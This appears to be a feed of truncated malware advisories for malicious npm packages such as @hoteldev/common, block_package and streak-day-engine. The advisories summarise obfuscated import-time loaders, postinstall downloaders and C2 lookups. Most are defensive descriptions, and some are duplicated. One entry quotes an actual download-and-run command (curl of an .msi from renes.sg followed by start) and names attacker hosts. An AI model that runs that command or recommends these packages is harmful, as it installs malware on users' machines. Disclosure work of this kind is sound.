MAL-2026-12456 Malicious code in statist-statist-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 192fac66540fb5d3f4c376673ddd67a4e43053342e745e538f7ddcc08b0a9042 index.js requires./setup on module load. setup.js assembles obfuscated destination hostnames from split string arrays, selects a platform-specific...

MAL-2026-12318 Malicious code in @hoteldev/common (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9bb27849cbb16840b019ef47d6a84627d61eb9d48df28da5a9bc1a208e1ff758 build/index.js appends an evalatob... block after the normal exportStar section that decodes to an import-time loader. The loader resolves a C2 IP by...

Malicious code in @hoteldev/common (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9bb27849cbb16840b019ef47d6a84627d61eb9d48df28da5a9bc1a208e1ff758 build/index.js appends an evalatob... block after the normal exportStar section that decodes to an import-time loader. The loader resolves a C2 IP by...

MAL-2026-12437 Malicious code in simplipayng (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1cf21e1f6c1fc8a9e9caa3a8383da1b2fb4dd863fc531e17771209b14284e087 dist/cjs/index.js appends an evalatob... blob to what appears to be a React Button re-export. The decoded payload queries public Ethereum RPCs for th...

Malicious code in simplipayng (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1cf21e1f6c1fc8a9e9caa3a8383da1b2fb4dd863fc531e17771209b14284e087 dist/cjs/index.js appends an evalatob... blob to what appears to be a React Button re-export. The decoded payload queries public Ethereum RPCs for th...

Malicious code in block_package (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 33601d937b847af20b85c4a784ec38ae18e1543cc64dbc1dcdaf65f09437cf51 scripts/postinstall.js runs automatically during npm install and uses execSync to invoke curl -O http://renes.sg/npmblockpackage.msi & start...

MAL-2026-12485 Malicious code in trapp-configuration (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 370baaa269109c0e76c1e6ff8a0c9a9e1e424c53f3bb835ee53beefd3f2af70c On require'trapp-configuration', index.js loads adapter.js which selects a platform-specific URL, downloads an opaque binary from one of three...

Malicious code in eslint-plugin-vitest-ts (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a354edd3ce58afcb537f1e58b5152244cc6a98c6b0462de297262d9aba4e17d3 The package declares itself as an ESLint plugin but ships copies of nodemailer's source layout along with an obfuscated install-time loader...

MAL-2026-12370 Malicious code in eslint-plugin-vitest-ts (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a354edd3ce58afcb537f1e58b5152244cc6a98c6b0462de297262d9aba4e17d3 The package declares itself as an ESLint plugin but ships copies of nodemailer's source layout along with an obfuscated install-time loader...

Malicious code in bnpl-blocks-independent-bnpl-search (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e70389e1435e74337e9c402d824a2e90eeb0b2e9f82fc670035973a18382c558 On require of the package, index.js loads runtime.js which downloads a platform-specific binary from runtime-assembled .workers.dev hosts...

MAL-2026-12323 Malicious code in @nasddatax/common (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1cf5662d7c8759acd7a9a541baddd3bf4787594fafcd38f8a4eaf27bbe57d558 build/index.js appends an evalatob... trailer after legitimate re-exports. On require, the decoded loader queries public Ethereum JSON-RPC endpoints...

Malicious code in @nasddatax/common (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1cf5662d7c8759acd7a9a541baddd3bf4787594fafcd38f8a4eaf27bbe57d558 build/index.js appends an evalatob... trailer after legitimate re-exports. On require, the decoded loader queries public Ethereum JSON-RPC endpoints...

Malicious code in runtime-sentinel (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f44234b49595ac2b15e3b5249920f7ff64cf897b7543da959e95621814948da1 The package's postinstall script src/test.js issues an HTTPS GET to https://workconfig.vercel.app with TLS certificate verification disabled...

Malicious code in elephant-array-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d2cfcddc59bba26e90415bf89488d4a814e5c1db07091da5e46b07f7727e49bb index.js is a heavily obfuscated obfuscator.io: rotated string array + RC4 decoder, control-flow flattening, hex literals top-level IIFE with no...

Malicious code in digital-interview-digital-interview-core (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f67152c58e29424a173ed692a1c5e15d980cc0b54518accf2f9d2811747b9fc3 On require of the package, helpers.js downloads a platform-specific binary from Cloudflare workers.dev hosts whose names are reconstructed at runtime...

Malicious code in time-linters-webapp-eslint-config (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2b89eb401bae118699fcd79b686c0d6ace5e579df1ea42a87d6ad18de405614c The package's top-level index.js unconditionally requires./runtime on load. runtime.js assembles a rotating list of Cloudflare Workers hostnames...

MAL-2026-12443 Malicious code in statist-browser-typed-client-automlplatform.nlppl.searchy (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2006c1fa3443455515f9bbabd8bb63161c14be32405d601e0925054c02c0e62e On require of this package, init.js selects an OS/arch-specific endpoint from a list of Cloudflare Workers hostnames reconstructed at runtime via...

Malicious code in statist-browser-typed-client-automlplatform.nlppl.searchy (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2006c1fa3443455515f9bbabd8bb63161c14be32405d601e0925054c02c0e62e On require of this package, init.js selects an OS/arch-specific endpoint from a list of Cloudflare Workers hostnames reconstructed at runtime via...

Malicious code in statist-browser-typed-client-twork.tsales.nitro.metrics (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1d33f2eedc8cb8fc1d7e0c4f680b0024ddf9e4ab444ef7e52ec5b13a7b773fb2 On require, index.js loads shim.js which selects a platform-specific payload path, fetches a native binary from Cloudflare Workers subdomains whose...

Malicious code in streak-day-engine (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fb1b5dba41de915e2ef23790e3e92b3839b9a52e5196480d12ae8a7a8208cf82 index.mjs runs a hex-obfuscated top-level async IIFE at module import time. Identifiers and payload constants process, fetch, childprocess,...